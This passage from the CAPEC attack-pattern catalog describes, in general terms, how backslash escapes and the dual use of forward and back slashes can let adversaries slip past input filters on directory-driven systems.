This attack targets the use of the backslash in alternate encoding. An adversary can provide a backslash as a leading character and causes a parser to believe that the next character is special. This is called an escape. By using that trick, the adversary tries to exploit alternate ways to encode the same character which leads to filter problems and opens avenues to attack.

CAPEC-79: Using Slashes in Alternate Encoding

This attack targets the encoding of the Slash characters. An adversary would try to exploit common filtering problems related to the use of the slashes characters to gain access to resources on the target host. Directory-driven systems, such as file systems and databases, typically use the slash character to indicate traversal between directories or other container components. For murky historical reasons, PCs (and, as a result, Microsoft OSs) choose to use a backslash, whereas the UNIX world typically makes use of the forward slash. The schizophrenic result is that many MS-based systems are required to understand both forms of the slash. This gives the adversary many opportunities to discover and abuse a number of common filtering problems. The goal of this pattern is to discover server software that only applies filters to one version, but not the other.